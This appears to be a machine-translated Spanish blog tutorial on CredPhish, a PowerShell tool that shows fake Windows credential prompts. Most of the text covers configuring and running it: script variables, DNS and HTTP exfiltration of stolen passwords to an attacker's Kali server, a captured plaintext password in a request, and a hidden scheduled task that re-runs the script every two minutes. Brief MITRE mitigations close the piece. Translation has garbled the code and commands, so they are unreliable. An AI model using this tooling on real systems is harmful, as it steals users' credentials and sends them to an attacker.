Tutoriales

Un script de PowerShell para llamar a LCP

CredPhish es un script de PowerShell que se utiliza para invocar solicitudes de credenciales y extraer contraseñas. Se basa en CredentialPicker para recopilar contraseñas de usuario, Resolve-DnsName para la exfiltración de DNS y ConfigSecurityPolicy.exe de Windows Defender para realizar cualquier solicitud GET.

Para obtener un tutorial, consulte la publicación Black Hills Infosec.

A continuación, le mostramos cómo puede realizar phishing para contraseñas de usuario con PowerShell

La suplantación de identidad de solicitudes de credenciales es una técnica eficaz de escalada de privilegios y movimiento lateral. No es raro que los entornos de Windows encuentren solicitudes de contraseña aparentemente aleatorias para Outlook, VPN y varios otros protocolos de autenticación. Los atacantes están utilizando funciones integradas en Windows y PowerShell para lanzar ventanas emergentes de credenciales para obtener las contraseñas de los usuarios.

Como se define en el marco MITRE ATT & CK:

“Cuando se ejecutan programas que requieren privilegios adicionales … es común que el sistema operativo solicite al usuario las credenciales correctas para autorizar los privilegios elevados para la tarea. Los atacantes pueden imitar componentes comunes del sistema operativo para solicitar a los usuarios lo que parece ser una solicitud legítima de credenciales … a través de lenguajes como PowerShell «.

¿Qué es CredPhish?

CredPhish es un script de PowerShell diseñado para invocar solicitudes de credenciales y extraer contraseñas. Se basa en la API CredentialPicker para recopilar contraseñas de usuario, Resolve-DnsName de PowerShell para la exfiltración de DNS y ConfigSecurityPolicy.exe de Windows Defender para realizar cualquier solicitud GET.

A continuación se muestra un ejemplo de CredPhish en acción. Anote las credenciales enviadas al servidor DNS del atacante inmediatamente después de enviarlas en el indicador de seguridad de Windows.

De forma predeterminada, CredPhish usa Resolve-DnsName, un sistema de resolución de DNS integrado en PowerShell, para filtrar las credenciales. Convierte cada carácter de las credenciales en su valor hexadecimal correspondiente, divide los valores convertidos en bloques predefinidos y coloca los bloques en subdominios de sitios web populares. La siguiente captura de pantalla es un ejemplo de credenciales extraídas en forma hexadecimal. Tenga en cuenta los valores hexadecimales de «tokyoneon» (746f6b796f6e656f6e) en los subdominios google.com y office.com.

Antes de resolver una consulta de DNS, el servidor DNS elimina el subdominio hexadecimal para evitar generar docenas de respuestas de error. En la captura de pantalla de Wireshark a continuación, tenga en cuenta que el campo «Responder» ya no contiene el subdominio y se ha resuelto correctamente en una de las direcciones IP de Google.

Configuración de CredPhish.ps1

Diseñé credphish.ps1 como un script aislado que no lo necesita Import-Module, un indicador general de compromiso. En cambio, las opciones configurables están en forma de variables en la parte superior del script de PS1 para evitar largos argumentos en la línea de comandos.

La primera línea es más importante ya que define dónde se entregarán los datos filtrados (es decir, el servidor Kali del atacante).

# Dirección de exfil
$ exfilServer = «192.168.56.112»

A continuación, varias variables definen cómo se presentará el mensaje al usuario objetivo desprevenido. Ese $promptCaption define el «utilizar«Para solicitar credenciales de usuario (por ejemplo,» Microsoft Office «). Y el $promptMessage generalmente especifica la cuenta asociada con la solicitud.

# Solicitar
$ targetUser = $ env: nombre de usuario
$ companyEmail = «blackhillsinfosec.com»
$ promptCaption = «Microsoft Office»
$ promptMessage = «Conexión a: $ targetUser @ $ companyEmail»
$ maxTries = 1 # número máximo de llamadas al símbolo del sistema
$ delayPrompts = 2 # segundos entre solicitudes
$ validateCredentials = $ false # Suspenda $ maxTries y exfiltre inmediatamente si las credenciales son válidas

Ese $maxTries La variable define el número de veces que se muestra el mensaje antes de que el destino envíe las credenciales. Para evitar sospechas, 1 es el predeterminado. Ese $delayPrompts La variable define cuántos segundos entre cada solicitud (si $maxTries es mayor que 1). y $validateCredentials, deshabilitado de forma predeterminada, intenta usar las credenciales enviadas localmente usando. validar Start-Process en un contexto exclusivo. Cuando está habilitado y las credenciales validadas, $maxTries se ignora y los datos se envían inmediatamente al servidor del atacante.

Métodos de exfiltración

Como se mencionó anteriormente, la exfiltración de DNS es el método estándar por el cual las contraseñas se transmiten al servidor del atacante. Ese $exfilDomains La lista contiene diferentes dominios que se utilizan en consultas de DNS y se seleccionan al azar. Ese $subdomainLength La variable determina la longitud deseada de cada subdominio.

#dns
# Inicie el servidor DNS en Kali: python3 /path/to/credphish/dns_server.py
$ enableDnsExfil = $ verdadero
$ exfilDomains = @ (‘. microsoft.com’, ‘.google.com’, ‘.office.com’, ‘.live.com’) # dominios para DNS exfil
$ randomDelay = get-random -minimum 5 -maximum 20 # Delay between DNS queries
$ subdomainLength = 6 # caracteres como máximo en el subdominio. debe ser un número par entre 2 y 60, de lo contrario se interrumpirán las consultas

Para interceptar las credenciales enviadas mediante la función de exfiltración de DNS, ejecute el script dns_server.py en Kali. Prensa Ctrl + c para matar el servidor DNS y reconstruirá las credenciales interceptadas en texto sin cifrar.

Otro método de exfiltración integrado en CredPhish es el método de solicitud HTTP. Utiliza ConfigSecurityPolicy.exe, un archivo binario que se incluye en Windows Defender, para transmitir las credenciales al servidor del atacante. Selecciona el $enableHttpExfil variable a $true para activarlo.

#http
# Inicie el servidor http en Kali: python3 -m http.server 80
$ enableHttpExfil = $ falso
$ ConfigSecurityPolicy = “C: ProgArchivos WinDefender ConfigSecurityPolicy.exe ”

Cómo interceptar las credenciales enviadas con ConfigSecurityPolicy.exe, inicie un servidor HTTP simple en Kali para capturarlos en los registros.

En la red, las credenciales extraídas se mostrarán como se muestra a continuación.

GET / DESKTOP-S4DAAF0% 5Btokyoneon% 3A% 23! Extr3m3Ly_% 26ecuRe-P% 40ssw% 25rD% 23% 5D HTTP / 1.1
Aceptar: /
CPU UA: AMD64
Aceptar codificación: gzip, desinflar
Agente de usuario: Mozilla / 4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident / 7.0; .NET4.0C; .NET4.0E)
Anfitrión: 192.168.56.104
Conexión: Keep-Alive

Dado que las credenciales están codificadas en URL antes de la transmisión, use el módulo decodificador de Burp para observar los datos o pitones urllib Biblioteca de decodificación de URL de línea de comando.

>>> de urllib.parse import unquote
>>> desquote (“/ DESKTOP-S4DAAF0% 5Btokyoneon% 3A% 23! Extr3m3Ly_% 26ecuRe-P% 40ssw% 25rD% 23% 5D”)
‘/ ESCRITORIO-S4DAAF0[tokyoneon:#!Extr3m3Ly_&[email protected]%rD#]’

Ejecución de CredPhish.ps1

Para probar CredPhish rápidamente, mueva el credphish.ps1 en el equipo de destino que ejecuta Windows 10 y ejecútelo con PowerShell.

Un método permanente de ejecución puede ser el Programador de tareas, un componente de Windows que ofrece la capacidad de programar secuencias de comandos para que se ejecuten a intervalos predefinidos. El más bajo schtasks El ejemplo se está ejecutando credphish.ps1 cada 2 minutos.

create / sc Minute / mo 2 / tn «credphish» / tr «powershell -ep Bypass -WindowStyle Hidden C: path to credPhish credphish.ps1»

Mitigación y detección

CredPhish, derivado de proyectos como Invoke-LoginPrompt, CredsLeaker y Stitch, no es una panacea para el phishing de contraseñas. Siempre hay margen de mejora, ya que este tipo de ataque suele ser muy dirigido y específico del usuario. Un enfoque más agresivo podría ser falsificar toda la pantalla de bloqueo de Windows 10 con Cobalt Strike y así capturar las credenciales.

Estos tipos de técnicas de ataque no pueden defenderse fácilmente mediante controles preventivos porque abusan de las funciones del sistema. El marco MITRE ATT & CK recomienda:

  • Brinde capacitación a los usuarios para alertar y generar sospechas sobre eventos y cuadros de diálogo potencialmente maliciosos (por ejemplo, documentos de Office que solicitan credenciales).
  • Supervise la ejecución del proceso en busca de programas inusuales e instancias maliciosas de intérpretes de comandos y secuencias de comandos que soliciten credenciales a los usuarios.
  • Investigar y cuestionar las solicitudes de indicadores de ilegalidad, como: B. Banners, texto, tiempos y / o fuentes no tradicionales.

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba